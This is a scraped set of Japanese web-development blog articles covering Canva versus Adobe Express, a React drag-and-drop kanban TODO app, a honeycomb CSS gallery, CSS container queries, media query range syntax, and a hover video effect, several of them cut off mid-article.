Canva公式チュートリアルはこちら Adobe Expressとは Adobe Expressの特徴 Photoshopの知識がなくても簡単にデザイン可能 Adobe Stockの画像が利用できる（Premiumプラン） SNS向けの投稿デザインに強み Adobe Expressの主な機能 クイックアクション（背景除去、画像リサイズ）が便利 豊富なテンプレートと素材が利用可能 シンプルなアニメーション機能も対応 Adobe Expressのおすすめ活用シーン SNS用のビジュアルコンテンツ 簡単なロゴデザイン 画像編集やリサイズ 【Adobe Express公式チュートリアル】 Adobe Express公式チュートリアルはこちら CanvaとAdobe Expressの違い 機能CanvaAdobe Expressテンプレート数豊富な無料テンプレートAdobe Stockの画像が利用可能カスタマイズ性フォントやカラーの変更が簡単Photoshopの機能を活用可能画像編集機能フィルターやトリミングが豊富背景除去や画像リサイズが便利アニメーション機能豊富な動きのテンプレートシンプルなアニメーション対応おすすめの利用シーンSNS投稿、プレゼン資料SNS投稿、ロゴデザイン、画像編集 初心者向けの練習方法 【Canva編】 アカウント登録と基本操作 Canvaの公式サイトでアカウント作成 テンプレートを活用したデザイン作成 SNS投稿用のバナー作成がおすすめ カスタムデザインに挑戦 フォントやカラーを変更してオリジナルのデザインを作成 ダウンロードとSNS投稿の方法 Canvaからの直接投稿機能の活用 【Adobe Express編】 アカウント登録と基本操作 Adobe Expressの公式サイトでアカウント作成 クイックアクションの活用 「背景除去」や「画像リサイズ」の使い方 ロゴデザインの作成 シンプルなロゴ作成の手順 デザインの書き出しと活用 Adobe Expressの書き出し形式の説明 デザインの基本ルールとコツ 1. 配色のコツ 3色ルールを意識するとデザインが整いやすい Canvaの「カラーパレット」やAdobe Expressの「カラーシェーマ」を活用 2. フォント選びのポイント 可読性を意識したフォントを選ぶ 見出しと本文のフォントを統一するのがポイント 3. 余白の取り方 余白を意識するだけで、デザインが整う 「マージン」や「パディング」の設定が重要 【判定】どちらを選ぶかを3つの質問で決める 機能を比べ続けても決まりません。次の3問に答えれば、その場で選べます。 質問Yesなら理由すでにPhotoshopやIllustratorを契約している？Adobe Express素材とフォントを共有でき、追加費用が発生しないチームやクライアントと画面を共有して編集する？Canva共同編集とテンプレート共有の導線が分かりやすいSNS投稿を毎週たくさん作る？Canvaサイズ別テンプレートの物量が多く、量産に強い どれにも当てはまらないならCanvaから始めてください。無料の範囲が広く、操作を覚えるまでの時間が短いためです。両方を同時に習得しようとすると、どちらも中途半端になります。 作ったものが実務で通用するかの確認 スマホの実機で開く。合否＝文字が読めること（PCで作ると文字を小さくしすぎます） グレースケールにして見る。合否＝情報の優先順位が伝わること。色だけで強弱を付けていると崩れます 使った書体の数を数える。合否＝2種類以内。3種類を超えると散らかって見えます 配色・書体・余白の具体的な決め方はタイポグラフィの基本とホワイトスペースの重要性にまとめています。 まとめ CanvaとAdobe Expressは、どちらもデザイン初心者に最適なツールです。 SNS画像やプレゼン資料ならCanva 画像編集やロゴデザインならAdobe Express 両方のツールを上手に活用して、デザインスキルをレベルアップさせましょう！ でも、仕事にするなら、PhotoShop、Illustratorのどちらかは必須なので合わせて練習しましょう！ よくある質問（FAQ） Q. CanvaとAdobe Expressの違いは？ Canvaはテンプレートの豊富さと直感的な操作性が特徴で、SNS投稿・プレゼン・ポスターなど幅広い用途に対応します。Adobe ExpressはAdobe Fontsや素材ライブラリとの連携が強みで、Creative Cloud利用者との相性が良いです。 Q. デザイン初心者はどちらから始めるべき？ Canvaがおすすめです。豊富なテンプレートで「デザインの完成形」を体験しながら学べ、操作も直感的です。デザインの基礎を掴んだ後、より高度な表現やAdobe製品との連携が必要になったらAdobe Expressに移行するのがスムーズです。 Q1: CanvaとAdobe Expressはどちらが初心者向きですか？ A: 初心者には「Canva」がおすすめです。直感的な操作と豊富なテンプレートが魅力です。 Q2: 無料プランでも十分に活用できますか？ A: はい。どちらも無料プランで基本的なデザインは十分に作成可能です。 Q3: スマホアプリはどちらが便利ですか？ A: スマホアプリは「Canva」がより直感的で使いやすく、外出先でも便利です。 ### [Reactで作るTODOアプリ｜ドラッグ＆ドロップと自動保存](https://codequest.work/react-todo-app-drag-drop/) ReactでTODOアプリを作るとき、手が止まるのは追加や削除ではありません。ドラッグでカードを離したときに、どのレーンの何番目へ入れ直すかを自分で決めるところと、その状態をブラウザに残して、次に開いたときも同じ並びで見せるところの2つです。追加・編集・削除そのものは useState だけで足ります。 この記事では、アイデア・進行中・完了の3レーンを持つカンバン型のTODOアプリを、環境構築 → 状態設計 → ドラッグ＆ドロップ → 自動保存 → ビルドして公開 の順に、途中を飛ばさず作ります。掲載しているコードは実際に公開しているデモと同じもので、React 19・@hello-pangea/dnd 18・Vite で組み、サブディレクトリへの配置まで通して動作を確認しています。 先に TODOアプリのデモ を触ってから読むと、どのコードがどの挙動に対応しているか掴みやすくなります。JavaScriptだけで小さなアプリを組み立てる流れは JavaScriptで作るミニアプリ4選 に、同じ「閉じても消えない」をTypeScriptで実装したものは TypeScriptで作るチェックリストアプリ にまとめてあります。 作るもの：3レーンのカンバン型TODO 完成するアプリの機能は次の5つです。 入力欄からタスクを追加すると、いちばん左の「アイデア」レーンに積まれる カード左のハンドルをつかんで、レーンをまたいでドラッグできる。同じレーン内での並べ替えもできる カードごとに編集・削除ができる。編集はEnterで確定、Escでキャンセル レーンの見出しに、そのレーンの件数が出る 操作のたびにブラウザへ自動保存され、リロードしても閉じても復元される 使うものと、それぞれの役割は次のとおりです。 使うものこの記事での役割React 19画面の状態管理。タスクの配列を1つ持ち、そこから3レーンを描画する@hello-pangea/dnd 18ドラッグ＆ドロップ。掴む・並べ替える・別のレーンへ落とす、の操作を引き受けるVite開発サーバーと本番ビルド。サブディレクトリへ置くときのパス解決もここで指定するWeb Storage API（localStorage）タスクの永続化。文字列しか保存できないので JSON.stringify / JSON.parse を挟む サーバーもデータベースも使いません。保存先はブラウザの中だけなので、別の端末やシークレットウィンドウには引き継がれない、という前提で設計します。 環境構築：create-react-appではなくViteを使う Reactの入門記事では長らく npx create-react-app が使われてきましたが、Create React App は2025年2月14日に非推奨になりました。React公式ブログのSunsetting Create React Appでは「新しいアプリではCreate React Appを非推奨とし、既存のアプリはフレームワークか、Vite・Parcel・Rsbuildのようなビルドツールへの移行を推奨する」と明記されています。現在は実行しても非推奨の警告が出ます。 この記事では、単体で完結する小さなアプリなのでビルドツール側のViteを選びます。プロジェクトの作成は次の3コマンドです。 npm create vite@latest todo-app -- --template react cd todo-app npm install @hello-pangea/dnd ドラッグ＆ドロップのライブラリに@hello-pangea/dndを選ぶ理由 Reactのドラッグ＆ドロップでは長く react-beautiful-dnd が定番でしたが、こちらも現在は使えません。GitHubリポジトリはアーカイブ済みで、「このプロジェクトはアーカイブされ、npm上で非推奨になりました」と告知されています（2025年8月18日）。npmの最終公開は 13.1.1（2022年8月30日）で止まっており、インストールすると非推奨の警告が出ます。 @hello-pangea/dnd は、その react-beautiful-dnd をコミュニティが引き継いだフォークです。APIはほぼそのままなので、古い記事のコードがだいたい読み替えなしで動きます。npmの最新は 18.0.1 で、peerDependencies は React 18 と 19 の両方を受け付けます。 ライブラリ状態この記事での扱いreact-beautiful-dndアーカイブ済み・npmで非推奨。最終版 13.1.1（2022年8月）使わない。古い解説記事はこちらを前提にしていることが多い@hello-pangea/dnd上記のフォーク。18.0.1 が最新でReact 18/19対応これを使う。リスト間の移動に強く、キーボード操作にも対応しているPragmatic drag and dropreact-beautiful-dnd の作者側が案内している後継できることは広いが設計の自由度が高く、3レーンのカンバンには過剰 状態設計：タスクは1つの配列で持ち、レーンはstatusで決める 最初の分かれ道が、レーンごとに3つの配列を持つか、タスクを1つの配列にまとめて、どのレーンにいるかを各タスクの status で表すかです。この記事では後者にします。 // タスク1件の形。status がそのままレーンになる { id: "8f1c...", text: "記事の構成を決める", status: "idea" } 3つの配列に分けると、レーン間の移動のたびに「片方から抜いて、もう片方に足す」を2つの状態にまたがって行うことになり、片方だけ更新に失敗した状態が作れてしまいます。1つの配列なら、移動は該当タスクの status を書き換えるだけで、画面はそこから絞り込んで描くだけになります。保存も配列1本をそのまま書き出せば済みます。 レーンの並び順は定数として1か所に置き、描画も保存の検証もこれを参照します。 export const STATUSES = ["idea", "inProgress", "done"]; const LANE_LABELS = { idea: "アイデア", inProgress: "進行中", done: "完了", }; id は crypto.randomUUID() で作ります。配列の添字やタスク名を id の代わりにすると、並べ替えたときや同じ文言のタスクを作ったときにドラッグの対象が入れ替わります。ライブラリ側も draggableId に一意な文字列を要求するので、ここは最初から一意なIDにしておきます。 ドラッグ＆ドロップを組む @hello-pangea/dnd は3つの入れ子で構成します。役割は次のとおりです。 コンポーネント役割DragDropContextドラッグ全体を囲む。ドロップが終わった瞬間に onDragEnd が呼ばれるDroppable落とせる場所＝レーン。droppableId にレーンの名前を渡すDraggable掴めるもの＝カード。draggableId と、そのレーン内での index を渡す 描画は「タスクの配列をレーンごとに絞り込んで並べる」だけです。index には配列全体での位置ではなく、絞り込んだ後のレーン内での位置を渡します。ここを間違えると移動先の計算がずれます。 <DragDropContext onDragEnd={onDragEnd}> <div className="container"> {STATUSES.map((status) => { const laneTodos = todos.filter((todo) => todo.status === status); return ( <Droppable key={status} droppableId={status}> {(provided, snapshot) => ( <section className={`todo-list${snapshot.isDraggingOver ? " is-dragging-over" : ""}`} ref={provided.innerRef} {...provided.droppableProps} > <h2 className="todo-list-title"> {LANE_LABELS[status]} <span className="todo-list-count">{laneTodos.length}</span> </h2> {laneTodos.map((todo, index) => ( <Draggable key={todo.id} draggableId={todo.id} index={index}> {(dragProvided) => ( <div className="todo-item" ref={dragProvided.innerRef} {...dragProvided.draggableProps} > <div className="todo-item-header"> <div className="drag-handle" {...dragProvided.dragHandleProps}> ⋮⋮ </div> <div className="todo-item-text">{todo.text}</div> </div> </div> )} </Draggable> ))} {provided.placeholder} </section> )} </Droppable> ); })} </div> </DragDropContext> provided.placeholder は必ず書きます。ドラッグ中のカードは実際の位置から浮くため、これが無いとレーンの高さが縮んで、掴んだ瞬間に下のカードがガクッと動きます。 dragHandleProps をカード全体ではなく専用のハンドル要素に渡している点も意図があります。カード全体を掴めるようにすると、カード内のボタンやテキスト選択とドラッグが競合します。掴む場所を限定すると、編集ボタンを押したいだけなのにカードが動き出す事故がなくなります。 onDragEndの落とし穴：レーンをまたぐと他のレーンの並びが崩れる ここがこのアプリで唯一こみ入った部分です。実際、このデモの旧実装には別のレーンへ移すと、無関係なレーンの並び順まで変わってしまう不具合がありました。原因は、移動後の配列を組み立てるときに、関係しないレーンのタスクを「元の順番のまま」戻していなかったことです。 壊れやすいのは、配列全体に対して抜き差しをしようとする書き方です。 ### [ハニカムレイアウトをCSSで実装｜画像を六角形に並べてホバーズーム](https://codequest.work/honeyhex-layout-css-animation/) 🎯 ハニカムレイアウトとは？ ハニカムレイアウトは、六角形の要素を蜂の巣のように配置するデザイン手法です。CSSのclip-pathやtransformを活用し、洗練されたアニメーションを加えることで、視覚的に魅力的なデザインが実現できます。 この記事では、ハニカムレイアウトの作り方とホバーエフェクトの実装方法をわかりやすく解説します。 🖥️ デモ 🔗 CodePenでハニカムレイアウトをチェック See the Pen HoneyHive by masakazuimai (@masakazuimai) on CodePen. 🛠️ ハニカムレイアウトの作り方 1️⃣ HTMLの記述 六角形のセルはJavaScriptで動的に生成するため、HTMLは空のギャラリーコンテナを1つ用意するだけです。 <div class="stage"> <div class="gallery" id="gallery"></div> </div> 2️⃣ CSSの記述 CSSでは、以下のポイントを意識して実装します。 ✅ :rootのCSS変数とclamp()で要素サイズをレスポンシブに✅ clip-pathで六角形の形状を作成✅ 負のmarginとtransformで蜂の巣状に配置✅ transitionでスムーズなホバーエフェクトを追加 :root { --w: clamp(40px, 16vw, 96px); /* 六角形の幅（画面幅に応じて可変） */ --h: calc(var(--w) * 1.1547); /* 高さ＝幅×2/√3で正六角形に */ --gap: clamp(4px, 1.3vw, 8px); /* 六角形どうしの横の間隔 */ --row-pitch: calc((var(--w) + var(--gap)) * 0.866); /* 行送り＝√3/2 */ } * { margin: 0; padding: 0; box-sizing: border-box; } body { display: flex; justify-content: center; align-items: center; min-height: 100vh; background: linear-gradient(to bottom, #000c17, #4B0082); /* 上紺〜下紫のグラデ */ overflow: hidden; } .stage { width: 100%; max-width: 600px; padding: 16px; display: flex; justify-content: center; align-items: center; } .gallery { display: flex; flex-wrap: wrap; column-gap: var(--gap); row-gap: 0; width: calc(var(--w) * 5 + var(--gap) * 4); /* 横5列ぶんの幅 */ transform: translateX(calc((var(--w) + var(--gap)) / -4)); } .hexagon { width: var(--w); height: var(--h); position: relative; margin-bottom: calc(-1 * (var(--h) - var(--row-pitch))); /* 行を詰めて重ねる */ overflow: hidden; clip-path: polygon( 50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25% ); } /* 偶数行（2行目=6〜10番、4行目=16〜20番）を右半分ずらして蜂の巣状に */ .gallery .hexagon:nth-child(n + 6):nth-child(-n + 10), .gallery .hexagon:nth-child(n + 16):nth-child(-n + 20) { transform: translateX(calc((var(--w) + var(--gap)) / 2)); } /* ホバーエフェクト対象の画像部分 */ .hexagon-inner { width: 100%; height: 100%; background-size: cover; background-position: center; transition: transform 0.3s ease; } /* ホバー時に画像を1.4倍に拡大 */ .hexagon:hover .hexagon-inner { transform: scale(1.4); } 3️⃣ JavaScriptで六角形を生成 六角形のセルはJavaScriptでまとめて生成します。画像URLの配列を用意し、ループで.hexagonと.hexagon-innerを作って#galleryに追加するだけです。枚数や画像を差し替えるだけでギャラリーを増減できます。 const params = 'auto=format&fit=crop&w=400&h=460&q=80'; const images = [ `https://images.unsplash.com/photo-1506744038136-46273834b3fb?${params}`, `https://images.unsplash.com/photo-1438761681033-6461ffad8d80?${params}`, `https://images.unsplash.com/photo-1574158622682-e40e69881006?${params}`, `https://images.unsplash.com/photo-1504674900247-0877df9cc836?${params}`, `https://images.unsplash.com/photo-1449824913935-59a10b8d2000?${params}`, `https://images.unsplash.com/photo-1551963831-b3b1ca40c98e?${params}`, `https://images.unsplash.com/photo-1518791841217-8f162f1e1131?${params}`, `https://images.unsplash.com/photo-1492707892479-7bc8d5a4ee93?${params}`, `https://images.unsplash.com/photo-1496449903678-68ddcb189a24?${params}`, `https://images.unsplash.com/photo-1493246507139-91e8fad9978e?${params}`, `https://images.unsplash.com/photo-1543466835-00a7907e9de1?${params}`, `https://images.unsplash.com/photo-1452960962994-acf4fd70b632?${params}`, `https://images.unsplash.com/photo-1441986300917-64674bd600d8?${params}`, `https://images.unsplash.com/photo-1469474968028-56623f02e42e?${params}`, `https://images.unsplash.com/photo-1500964757637-c85e8a162699?${params}`, `https://images.unsplash.com/photo-1447752875215-b2761acb3c5d?${params}`, `https://images.unsplash.com/photo-1426604966848-d7adac402bff?${params}`, `https://images.unsplash.com/photo-1470071459604-3b5ec3a7fe05?${params}`, `https://images.unsplash.com/photo-1472214103451-9374bd1c798e?${params}`, `https://images.unsplash.com/photo-1518495973542-4542c06a5843?${params}`, `https://images.unsplash.com/photo-1505765050516-f72dcac9c60e?${params}`, `https://images.unsplash.com/photo-1478131143081-80f7f84ca84d?${params}`, `https://images.unsplash.com/photo-1433086966358-54859d0ed716?${params}`, `https://images.unsplash.com/photo-1473448912268-2022ce9509d8?${params}`, `https://images.unsplash.com/photo-1490750967868-88aa4486c946?${params}`, ]; const TOTAL = 25; const gallery = document.getElementById('gallery'); for (let i = 0; i < TOTAL; i++) { const hexagon = document.createElement('div'); hexagon.className = 'hexagon'; const inner = document.createElement('div'); inner.className = 'hexagon-inner'; inner.style.backgroundImage = `url('${images[i % images.length]}')`; hexagon.appendChild(inner); gallery.appendChild(hexagon); } 🎨 ハニカムレイアウトの活用例 ✅ ポートフォリオサイトのギャラリー✅ サービスや商品の一覧ページ✅ モダンなデザインのランディングページ 🚀 まとめ ハニカムレイアウトは、洗練されたデザインとインタラクティブなアニメーションを同時に実現できます。今回のコードをベースに、色や画像、アニメーション効果をアレンジして、オリジナルのハニカムデザインを作り上げてください！ よくある質問（FAQ） Q. ハニカムレイアウトとは何ですか？ 蜂の巣（ハニカム）のように六角形を隙間なく並べるCSSレイアウト手法です。clip-path: polygon()で六角形に切り抜いた要素をCSS Gridまたはネガティブマージンで互い違いに配置します。ポートフォリオサイトやギャラリーページのデザインで、通常のグリッドとは異なる視覚的なインパクトを与えられます。 ### [CSSコンテナクエリ完全ガイド｜親要素に応じたデザイン制御](https://codequest.work/css-container-queries/) Webデザインにおいて、レスポンシブデザインは欠かせません。これまでは画面幅に応じてレイアウトを変更する「メディアクエリ」が主流でしたが、CSSコンテナクエリの登場により、より柔軟なデザインが可能になりました。 本記事では、CSSコンテナクエリの基本から応用まで、具体的なコード例を交えてわかりやすく解説します。特に「container: card / inline-size;」の意味や使い方に焦点を当て、実際のデザインに役立つノウハウも紹介します。 コンテナクエリとは？ コンテナクエリ（Container Queries）は、親要素のサイズに応じて子要素のスタイルを変更するCSSの新機能です。 従来のメディアクエリは「ビューポート（画面幅）」に応じてスタイルを切り替えていましたが、コンテナクエリでは親要素の幅や高さを基準にデザインが切り替わるのが大きな特徴です。 これにより、コンポーネント単位のデザイン管理がしやすくなり、再利用性の高いモジュールデザインが実現します。 🧩 container: card / inline-size; の意味と役割 「container: card / inline-size;」は、次の2つの要素で構成されています。 .container { container: card / inline-size; } 🔹 card（コンテナ名） コンテナクエリに名前を付けることで、他のコンテナとの区別が可能です。 複数のコンテナがある場合に、@container で個別指定できるため、管理しやすくなります。 🔹 inline-size（サイズ基準） 親要素の横幅の変化に応じてスタイルが切り替わる指定です。 block-size（高さ）、size（幅と高さの両方）も指定できますが、最も一般的な使用例は inline-size です。 実践！コンテナクエリを使ったカードレイアウト HTML <div class="card"> <h2>タイトル</h2> <p>コンテナクエリを活用したカードデザインのサンプルです。</p> </div> CSS .card { container: card / inline-size; /* 横幅の変化に対応 */ width: 100%; max-width: 400px; padding: 20px; border: 2px solid #333; background-color: #f5f5f5; } @container card (width > 300px) { .card { background-color: #4CAF50; color: #fff; } } 効果 ✅ 親要素の横幅が300pxを超えた場合に、背景色が緑に変化します。✅ ビューポートのサイズではなく、親要素の幅に応じてデザインが変わるのがポイントです。 🚀 block-size や size も活用しよう inline-size 以外にも、デザインに応じて以下の指定が可能です。 指定値説明inline-size横幅の変化に対応（一般的な使用例）block-size高さの変化に対応size幅と高さの両方に対応 ❗ block-size の使用例 .container { container: card / block-size; /* 高さの変化に対応 */ height: 300px; border: 2px solid #2196F3; padding: 20px; } @container card (height > 250px) { .content { background-color: #2196F3; color: #fff; } } ✅ 高さが250pxを超えると背景色が変わる ❗ size の使用例（幅・高さの両方に対応） .container { container: card / size; /* 幅と高さの両方に対応 */ width: 100%; height: 300px; border: 2px solid #FFC107; padding: 20px; } @container card (width > 400px) and (height > 250px) { .content { background-color: #FFC107; color: #000; } } ✅ 幅が400pxかつ高さが250pxを超えると背景色が変わる コンテナクエリが活躍する場面 カードレイアウト：サイズに応じて柔軟にデザインを切り替えられる ナビゲーションメニュー：サイドバーの幅に応じてスタイルを変更可能 モーダルウィンドウ：可変サイズのウィンドウに対応 ブログ記事やランディングページなどの再利用可能なコンポーネントに最適 注意点 コンテナクエリは、親要素が display: block;, inline-block;, flex;, grid; などのレイアウトコンテキストを持つ必要があります。 position: absolute; や float ではコンテナクエリは機能しません。 コンテナクエリとメディアクエリの違い コンテナクエリとメディアクエリはどちらもレスポンシブデザインに使われますが、基準となる対象が異なります。 比較項目メディアクエリコンテナクエリ基準ビューポート（画面全体の幅）親要素の幅スコープページ全体に影響コンテナ内のコンポーネントのみ再利用性コンポーネントの配置場所に依存どこに置いても同じ挙動構文@media (min-width: 768px)@container (min-width: 400px)ブラウザ対応全ブラウザ対応Chrome 105+, Safari 16+, Firefox 110+適した場面ページレイアウトの切り替えコンポーネント単位のスタイル制御 メディアクエリは「画面全体のレイアウト」、コンテナクエリは「コンポーネント単位のレイアウト」を制御するものとして使い分けるのが実務での推奨パターンです。両方を組み合わせることで、より柔軟なレスポンシブデザインが実現できます。 コンテナクエリのブラウザ対応状況 ブラウザ対応バージョン対応状況Chrome105+（2022年8月〜）対応済みEdge105+対応済みSafari16+（2022年9月〜）対応済みFirefox110+（2023年2月〜）対応済み 2025年時点では主要ブラウザすべてがコンテナクエリに対応しています。非対応ブラウザへのフォールバックが必要な場合は、@supportsクエリでコンテナクエリの対応を検出できます。 よくある質問（FAQ） Q. コンテナクエリはメディアクエリの代替になりますか？ 完全な代替ではありません。ページ全体のレイアウト変更にはメディアクエリが適しており、コンポーネント単位のスタイル制御にはコンテナクエリが適しています。実務では両方を組み合わせて使うのが一般的です。 Q. container-typeのinline-sizeとsizeの違いは何ですか？ inline-sizeは横幅のみを基準にしたクエリで、最も一般的に使われます。sizeは横幅と高さの両方を基準にできますが、要素の高さがコンテンツに依存する場合はレイアウトが不安定になることがあるため、通常はinline-sizeを推奨します。 Q. コンテナクエリのパフォーマンスへの影響はありますか？ コンテナクエリはブラウザのレイアウトエンジンに組み込まれているため、JavaScriptでResizeObserverを使った実装と比べてパフォーマンスは良好です。通常の使用範囲では体感できるほどのパフォーマンス影響はありません。 Q. コンテナクエリをReactやVueで使えますか？ コンテナクエリは純粋なCSS機能なので、ReactやVueなどのフレームワークでもそのまま使えます。コンポーネントのCSSファイルやCSS Modulesにcontainerプロパティと@containerルールを記述するだけで動作します。 まとめ CSSコンテナクエリは、これからのレスポンシブデザインにおいて欠かせない技術です。特に、コンポーネント単位のデザイン制御がしやすくなり、再利用可能なモジュール設計に最適です。 ポイント ✅ container: card / inline-size; → 横幅の変化に対応（最も一般的）✅ container: card / block-size; → 高さの変化に対応✅ container: card / size; → 幅と高さの両方に対応 今後、レスポンシブデザインの新常識として、ぜひ積極的に活用してみてください！ ### [CSSメディアクエリのrange構文｜比較演算子の書き方と境界値の罠](https://codequest.work/css-media-query-new-syntax/) CSSメディアクエリのrange構文とは、@media (width >= 768px) のように比較演算子（< <= > >= =）で条件を書くMedia Queries Level 4の記法です。2025年9月27日に Baseline widely available へ到達しているため、2026年現在はフォールバックを用意せずそのまま使えます。 この記事は「新しい書き方の紹介」ではなく、境界値でどう動くかを実測で確定させたリファレンスです。min-width: 1201px と width > 1200px は等価ではないこと、ちょうど768pxのときにどちらのブロックが当たるのか、書いたつもりで黙って無効になっている条件をどう見つけるのか。掲載しているコードと数値はすべて Chrome 150（macOS・Playwright）で実行して確認しています（測定日: 2026年8月2日）。 CSSメディアクエリのrange構文とは range構文は、メディア特性のうち「範囲」を持つもの（width、height、resolution、aspect-ratio など）に対して比較演算子を直接書ける文法です。W3C の Media Queries Level 4 が <mf-range> として定義しています（CSS Media Queries Level 4: Range Context／2026年8月2日閲覧）。 メディアタイプ（screen / print）や指定できるメディア特性の一覧といった、メディアクエリそのものの基本構文はメディアクエリの基本と使い方で解説しています。本記事はそこから先の、range構文だけを扱います。 比較演算子・チェーン比較・論理演算子は別の階層の話 range構文まわりで混乱が起きるのは、性質の違う3つを同じ表に並べてしまうからです。仕様上はっきり別物なので、最初に分けて把握しておくと以降が楽になります。 階層役割例比較演算子1つのメディア特性を1つの値と比べる@media (width >= 768px)チェーン比較1つのメディア特性を上下から挟んで範囲にする@media (600px <= width <= 1200px)論理演算子独立した複数の条件をつなぐ@media (width >= 768px) and (hover: hover) つまり @media (600px <= width <= 1200px) は「and の別表記」ではありません。これは1つのメディア特性に対する範囲指定であり、and は「幅」と「ホバー可否」のように異なる特性どうしをつなぐためのものです。両者は仕様でも別の文法として定義されています。 比較演算子は5種類です。= を含めて5つあることは意外と知られていません。 演算子意味例旧記法での等価表現<未満@media (width < 600px)なし（599.98px などで近似するしかない）<=以下@media (width <= 600px)@media (max-width: 600px)>より大きい@media (width > 1200px)なし>=以上@media (width >= 1200px)@media (min-width: 1200px)=ちょうど一致@media (width = 768px)なし = は完全一致なので実務ではほとんど使いません。Chrome 150 で実測したところ、ビューポート幅768pxでは matchMedia('(width = 768px)') が true、767pxでも768.5pxでも false でした。ブラウザのズームや高DPI環境では幅が小数になるため、= で狙った条件は簡単に外れます。 min-width / max-width との正しい対応関係 旧記法との対応は仕様が明文化しています。W3C Media Queries Level 4 の 2.4.4 節に、次のとおり書かれています（W3C: Media Queries Level 4／2026年8月2日閲覧）。 Using a “min-” prefix on a feature name is equivalent to using the “>=” operator. […] Using a “max-” prefix on a feature name is equivalent to using the “<=” operator.（特性名に “min-” を付けることは “>=” 演算子を使うことと等価であり、“max-” を付けることは “<=” 演算子を使うことと等価である） ここで押さえるべきは、等価なのは「同じ数値どうし」の対応だけだという点です。min-width: 1200px と width >= 1200px は完全に同じ意味ですが、min-width: 1201px と width > 1200px は同じではありません。この1pxずらしが実際に何を壊すのかは、後段で実測とともに示します。 なお width は「range 型」のメディア特性であるため比較演算子を受け付けます。orientation や hover のような「discrete 型」の特性には比較演算子を使えません（MDN: @media / width／2026年8月2日閲覧）。 いまrange構文を使ってよいのか（Baselineで判断する） 結論として、業務案件で使って構いません。range構文は 2023年3月27日に Baseline newly available、2025年9月27日に Baseline widely available へ到達済みです（webstatus.dev: Media query range syntax／2026年8月2日取得）。Baseline widely available は「すべてのコアブラウザで使えるようになった日から30か月が経過した」状態を指し、実務上フォールバックを前提にしなくてよい水準です（web.dev: Baseline／2026年8月2日閲覧）。 ブラウザ別の初対応バージョンは次のとおりです。値は MDN のブラウザ互換データ（BCD）の css.at-rules.media.range_syntax を、web-features のデータセット経由で取得したものです（2026年8月2日取得）。 ブラウザ初対応バージョンリリース時期の目安Chrome1042022年8月Edge1042022年8月Firefox1022022年6月Safari16.42023年3月Safari（iOS）16.42023年3月Chrome（Android）1042022年8月 全モダンブラウザが揃ったのは Safari 16.4 がリリースされた2023年3月です。「2022年に登場した新記法」という説明を見かけますが、Chrome と Firefox が対応した年を指しているだけで、実務で使えるようになったのは2023年3月、フォールバック不要と言い切れるようになったのは2025年9月です。 ひとつ注意点があります。Can I use を参照すると Firefox の初対応が 63 と表示されます（2026年8月2日取得）。一方 BCD は 102 です。40バージョンぶんの開きがあるため、どちらを採るかで「対応済み」と判断できる範囲が変わります。本記事は BCD の102を採用しています。MDN の互換表も webstatus.dev の Baseline 判定も同じ BCD を基盤にしており、参照先どうしで数字が食い違わないためです。 なお、画面幅ではなく親要素の幅で切り替えたい場合はメディアクエリではなくコンテナクエリの領分です。使い分けはCSSコンテナクエリ完全ガイドにまとめています。 旧記法の「1pxずらし」がrange構文で消える range構文の実利は「読みやすい」ことではありません。旧記法では書けなかった条件が書けるようになることです。その代表が、1200pxを境に切り替えるという何でもないレイアウトです。 なぜ min-width: 1201px と書く羽目になっていたのか 旧記法には <（未満）と >（より大きい）に相当する書き方がありません。使えるのは min-（以上）と max-（以下）だけです。そのため「1200px以下」と「1200pxより大きい」を排他的に分けようとすると、片方を1pxずらすしかありませんでした。 /* 旧記法：1pxずらして排他にしたつもり */ #box { background: white; } @media (max-width: 1200px) { #box { background: lightgreen; } } @media (min-width: 1201px) { #box { background: lightblue; } } 整数幅で見るかぎり、このコードは正しく動きます。1200pxでは緑、1201pxでは青になります。問題は、ビューポート幅が必ず整数になるとはかぎらないことです。 小数幅では1pxずらしが「穴」になる（実測） ブラウザのズーム倍率が100%以外のときや、一部の高DPI環境では、CSSピクセルでのビューポート幅が小数になります。上のコードを幅1200.5pxで描画すると、次のようになりました。 ビューポート幅旧記法（max-width:1200px / min-width:1201px）range構文（width <= 1200px / width > 1200px）1200px緑緑1200.5px白（どちらのブロックも当たらない）青1201px青青 1200.5pxでは max-width: 1200px にも min-width: 1201px にもマッチせず、幅0.5pxぶんだけ、どのブレークポイントも適用されない領域が生まれます。ベーススタイルに素通りするため、この幅ではスマホ用でもPC用でもないレイアウトが表示されます。ウィンドウをドラッグしてリサイズしたときや、ブラウザのズームを100%以外にしたときに、境界付近でだけレイアウトが崩れて見える場合は、この穴を疑ってください。 個々の条件の評価結果も測っています。幅1200.5pxのときの matchMedia() の返り値は次のとおりでした。 条件幅1200.5pxでの結果(width > 1200px)true(min-width: 1201px)false(width >= 1200px)true(min-width: 1200px)true(width <= 1200px)false(max-width: 1200px)false width >= 1200px と min-width: 1200px は同じ結果になっており、仕様どおり等価です。等価でないのは width > 1200px と min-width: 1201px のほう、つまり1pxずらしで代用していた組み合わせだけです。range構文で書けば、この代用そのものが不要になります。 ### [ホバーで動画再生するアニメーション｜CSS＋JSで明るさ調整も実装](https://codequest.work/glowplay-hover-video-animation/) 動画を活用したWebデザインは、視覚的なインパクトが強く、ユーザーの興味を引きやすい効果的な手法です。今回は、ホバー時に「動画が再生され、同時に明るさが変化する」アニメーション、GlowPlay の実装方法を解説します。 CodePenのデモも用意しているので、ぜひ参考にしてみてください。 🔹 GlowPlayとは？ GlowPlay は以下の2つの効果を組み合わせたアニメーションです。✅ ホバー時に動画が再生される✅ ホバー時に動画が明るくなる これにより、ユーザーが意図的にアクションを起こした際に、動画が目立ち、注目度がアップします。 🔹 デモ (CodePen) See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 🔹 実装方法 ① HTML HTMLでは、動画を配置するだけのシンプルな構成です。 <div class="video-container"> <video class="video" muted loop> <source src="https://codequest.work/movie/orectic-movie1.mp4" type="video/mp4"> </video> </div> <div class="video-container"> <video class="video" muted loop> <source src="https://codequest.work/movie/orectic-movie2.mp4" type="video/mp4"> </video> </div> ② CSS CSSでは、以下の2つの効果を実装します。 ✅ 初期状態で動画を暗く表示✅ ホバー時に動画を明るく表示 body{ background-color: #003149; margin: 0; } .video-container { line-height: 0; width: 100%; height: 300px; overflow: hidden; position: relative; margin: 0 auto; } .video-container video { width: 100%; height: 100%; object-fit: cover; filter: brightness(0.3); /* 初期状態で暗く */ transition: filter 0.3s ease; } .video-container:hover video { filter: brightness(1); /* ホバー時に通常の明るさに */ } ③ JavaScript 